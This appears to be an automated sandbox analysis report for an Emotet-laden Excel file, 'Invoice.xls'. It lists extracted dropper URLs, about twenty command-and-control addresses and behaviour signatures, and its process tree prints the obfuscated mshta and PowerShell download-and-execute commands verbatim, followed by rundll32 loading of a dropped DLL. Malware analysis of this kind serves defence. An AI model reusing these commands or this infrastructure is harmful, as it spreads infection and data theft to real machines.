Analysis

  • max time kernel
    127s
  • max time network
    161s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    21/01/2022, 09:12

General

  • Target
    Invoice.xls
  • Size 69KB
  • Sample220121-k57jdaeegn
  • SHA256 fb155f74486710bb8e3ca2f50be434fadbb56292e3d42cb0fbdfb217aabb0b0f
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fe2.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fe2.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1528
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2296
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3492
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:652
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3180
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:3956
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1444
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Buljzdxfunhnyjv\uuahljfuozpjw.omu",mFLap
                  8⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1440
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Buljzdxfunhnyjv\uuahljfuozpjw.omu",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3948
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3492 -s 1720
          4⤵
          • Program crash
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:404
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
    1⤵
      PID:784
    • C:\Windows\System32\WaaSMedicAgent.exe
      C:\Windows\System32\WaaSMedicAgent.exe c6d93168af714641892a63bc74603d49 P1v5+yBnH02ab07c2wS1tw.0.1.0.0.0
      1⤵
      • Modifies data under HKEY_USERS
      PID:2192
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 188 -p 3492 -ip 3492
      1⤵
      • Suspicious use of NtCreateProcessExOtherParentProcess
      • Suspicious use of WriteProcessMemory
      PID:2124

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/652-190-0x000001F523320000-0x000001F523396000-memory.dmp

          memory/652-167-0x000001F522D50000-0x000001F522D72000-memory.dmp

          memory/652-168-0x000001F50AB90000-0x000001F522C10000-memory.dmp

          memory/652-170-0x000001F50AB90000-0x000001F522C10000-memory.dmp

          memory/652-172-0x000001F522EF0000-0x000001F522F34000-memory.dmp

          memory/1440-201-0x0000000004C30000-0x0000000004C56000-memory.dmp

          memory/1444-193-0x0000000004D70000-0x0000000004D96000-memory.dmp

          memory/1444-195-0x0000000004E60000-0x0000000004E86000-memory.dmp

          memory/1444-200-0x0000000005040000-0x0000000005066000-memory.dmp

          memory/1444-197-0x0000000004EC0000-0x0000000004EE6000-memory.dmp

          memory/1444-191-0x0000000004C70000-0x0000000004C96000-memory.dmp

          memory/1528-131-0x00007FFD08A30000-0x00007FFD08A40000-memory.dmp

          memory/1528-242-0x00007FFD08A30000-0x00007FFD08A40000-memory.dmp

          memory/1528-134-0x00007FFD08A30000-0x00007FFD08A40000-memory.dmp

          memory/1528-133-0x00007FFD08A30000-0x00007FFD08A40000-memory.dmp

          memory/1528-137-0x00007FFD060D0000-0x00007FFD060E0000-memory.dmp

          memory/1528-132-0x00007FFD08A30000-0x00007FFD08A40000-memory.dmp

          memory/1528-138-0x00007FFD060D0000-0x00007FFD060E0000-memory.dmp

          memory/1528-245-0x00007FFD08A30000-0x00007FFD08A40000-memory.dmp

          memory/1528-244-0x00007FFD08A30000-0x00007FFD08A40000-memory.dmp

          memory/1528-130-0x00007FFD08A30000-0x00007FFD08A40000-memory.dmp

          memory/1528-243-0x00007FFD08A30000-0x00007FFD08A40000-memory.dmp

          memory/3948-209-0x0000000004AD0000-0x0000000004AF6000-memory.dmp

          memory/3948-215-0x0000000004D00000-0x0000000004D26000-memory.dmp

          memory/3948-217-0x0000000004E00000-0x0000000004E26000-memory.dmp

          memory/3948-219-0x0000000004EE0000-0x0000000004F06000-memory.dmp

          memory/3948-213-0x0000000004C10000-0x0000000004C36000-memory.dmp

          memory/3948-211-0x0000000004B30000-0x0000000004B56000-memory.dmp

          memory/3948-207-0x0000000004970000-0x0000000004996000-memory.dmp

          memory/3948-205-0x00000000041F0000-0x0000000004216000-memory.dmp